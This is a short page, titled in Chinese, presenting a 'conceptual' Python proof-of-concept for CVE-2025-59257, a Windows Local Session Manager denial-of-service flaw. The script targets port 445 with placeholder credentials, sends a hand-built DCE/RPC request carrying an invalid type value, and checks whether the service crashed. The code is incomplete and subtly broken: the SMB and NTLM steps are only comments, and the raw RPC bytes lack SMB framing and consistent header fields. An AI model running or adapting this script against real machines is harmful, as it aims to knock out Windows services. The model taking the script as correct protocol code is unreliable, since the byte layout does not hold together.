CVE-2025-59257 Windows本地会话管理器输入验证不当拒绝服务漏洞

# CVE-2025-59257 - Windows LSM Denial of Service PoC (Conceptual) # This is a conceptual PoC demonstrating the attack pattern for the # improper input validation vulnerability in Windows Local Session Manager. # WARNING: For authorized security testing and research purposes only. import socket import struct import sys TARGET_HOST = "192.168.1.100" TARGET_PORT = 445 # SMB port commonly used for LSM interaction USERNAME = "low_priv_user" PASSWORD = "password123" DOMAIN = "WORKGROUP" def build_malformed_lsm_request(): """ Build a malformed RPC request targeting the LSM service. The payload contains an unexpected/invalid type field that triggers the improper input validation flaw in LSM's request parser. """ # SMB/NTLM negotiate and session setup would occur here # Then a DCE/RPC bind to the LSM interface (lsarpc / sessmgr) rpc_bind = b"\x05\x00" # RPC version 5.0 rpc_bind += b"\x0b\x00" # RPC bind type rpc_bind += b"\x03\x00" # Call ID rpc_bind += b"\x10\x00\x00\x00" # Fragment length rpc_bind += b"\x00\x00" # Fragment max xmit rpc_bind += b"\x00\x00" # Fragment max recv rpc_bind += b"\x04\x00" # Assoc group ID # Malformed LSM request with invalid type indicator (opnum 0) # The critical field is set to an unexpected type value lsm_request = b"\x05\x00" # RPC version lsm_request += b"\x00\x00" # Request type (PDU) lsm_request += b"\x04\x00" # Call ID lsm_request += b"\x18\x00\x00\x00" # Alloc hint lsm_request += b"\x00\x00" # PCont ID lsm_request += b"\x00\x00" # Opnum # Malformed payload: invalid type descriptor for session input lsm_request += b"\xff\xff\xff\xff" # Invalid type value lsm_request += b"\x00" * 16 # Padding / additional fields return rpc_bind + lsm_request def exploit(): print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Using credentials {DOMAIN}\\{USERNAME}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) print("[+] Connection established") # Step 1: SMB negotiate (simplified) print("[*] Sending SMB negotiate...") # Step 2: Authenticate with low-privilege credentials print("[*] Authenticating with low-privilege account...") # NTLM authentication handshake would occur here # Step 3: Send malformed LSM request print("[*] Sending malformed LSM request...") payload = build_malformed_lsm_request() sock.send(payload) print("[+] Malformed payload sent") # Step 4: Check if service crashed try: response = sock.recv(4096) if not response: print("[+] Target appears to have crashed (connection closed)") else: print(f"[*] Response received: {response.hex()}") except socket.timeout: print("[+] Target unresponsive - possible DoS condition") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()